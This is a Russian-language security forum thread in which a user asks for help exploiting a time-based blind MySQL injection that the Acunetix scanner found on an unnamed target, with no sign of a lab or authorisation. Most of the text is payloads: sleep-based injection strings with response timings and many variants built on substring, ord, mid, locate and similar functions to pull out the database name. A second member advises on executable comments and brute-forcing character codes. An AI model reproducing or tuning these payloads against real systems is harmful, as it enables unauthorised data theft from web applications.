• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Приглашаем на KubanCTF

    Старт соревнований 14 сентября в 10:00 по москве

    Ссылка на регистрацию в соревнованиях Kuban CTF: kubanctf.ru

    Кодебай является технологическим партнером мероприятия

(HELP) Пейлоад из акунетикса

Gilgalad

One Level
17.08.2023
7
7
BIT
52
POST (multipart) input item[0] was set to (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

Tests performed:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => 20.12
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => 19.998
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 7.593
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 1.466
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 13.048
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.759
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 12.615

проверил руками, инъекция действительно есть и ответ приходит с задержкой.
пните в нужном направлении, пробую дальше:
(select(0)from(select(sleep(2)))v)/*'+(select(0)from(select(sleep(if(ascii(substring(database(),1,1))>79,2,0)))v)+'"+(select(0)from(select(sleep(2)))v)+"*/ - задержки нет
(select(0)from(select(sleep(2)))v)/*'+(select(0)from(select(sleep(if(ascii(substring(database(),1,1))<79,2,0)))v)+'"+(select(0)from(select(sleep(2)))v)+"*/ - задержки нет

(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)+"*/ - задержки нет
(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)+"*/ - задержки нет

(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)+"*/ - задержки нет
<77 - задержки нет

(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)+"*/ - задержки нет
<77 - задержки нет


Пример с right()
(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)+"*/

Пример с length()
(select(0)from(select(if(length(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(length(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(length(database())>0,sleep(2),0))v)+"*/

Пример с mid()
(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)+"*/

Пример с position()
(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)+"*/

Пример с locate()
(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)+"*/

Пример с char_length()
(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)+"*/

Пример с ascii()
(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)+"*/

Пример с concat()
(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)+"*/

Пример с upper()
(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)+"*/

Пример с lower()
(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)+"*/

Пример с repeat()
(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)+"*/

Пример с reverse()
(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)+"*/

Пример с trim()
(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)+"*/
---------------------------------------
задержки нет
 
Последнее редактирование:

f22

Codeby Academy
Gold Team
05.05.2019
1 895
226
BIT
1 469
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => 20.12
Попробуйте отправит этот запрос несколько раз. Проверьте, каждый раз время будет больше 15 секунд?

Меня, если честно, смущает правая часть
/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
/**/ - это комментарий и этот код выполняться не будет, а вы ниже используете именно эту часть кода для внедрения инъекции и получения имени БД
Попробуйте поместить инъекцию в левую часть или использовать исполняемый комментарий /*! <> */

Ну и по буквам можно имя получать через ORD
IF(ORD(SUBSTRING(DATABASE(),2,1))=48,SLEEP(5),0)
попробуйте весь диапазон от 48 до 122 пробежать

И, да, увеличьте время sleep с 2 хотя бы до 5 - так разница будет заметнее
 

Gilgalad

One Level
17.08.2023
7
7
BIT
52
Попробуйте отправит этот запрос несколько раз. Проверьте, каждый раз время будет больше 15 секунд?

Меня, если честно, смущает правая часть
/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
/**/ - это комментарий и этот код выполняться не будет, а вы ниже используете именно эту часть кода для внедрения инъекции и получения имени БД
Попробуйте поместить инъекцию в левую часть или использовать исполняемый комментарий /*! <> */

Ну и по буквам можно имя получать через ORD
IF(ORD(SUBSTRING(DATABASE(),2,1))=48,SLEEP(5),0)
попробуйте весь диапазон от 48 до 122 пробежать

И, да, увеличьте время sleep с 2 хотя бы до 5 - так разница будет заметнее
именно этот пейлоад и срабатывает (select(0)from(select(sleep(2)))v)/*'+(select(0)from(select(sleep(2)))v)+'"+(select(0)from(select(sleep(2)))v)+"*/
слип без разницы какой указывать, задержка в ответе есть в зависимости от того какой слип указать.

IF(ORD(SUBSTRING(DATABASE(),2,1))=48,SLEEP(5),0) - такого формата и другие пробовал, задержки нет.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ я как понимаю нужно отталкиваться от этого, если это работает
Комментарий используется для обхода синтаксиса
/* начинает комментарий. Всё, что идет после /*, не должно интерпретироваться MySQL как часть кода до закрытия комментария */.
'+ Однако, пейлоад закрывает строку с помощью '+, что завершает строку колонки, открывающуюся перед комментарием.
Далее следует инъекция: (select(0)from(select(sleep(2)))v).
+'*/ снова открывает строку, а затем закрывает комментарий.
ошибаюсь?
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!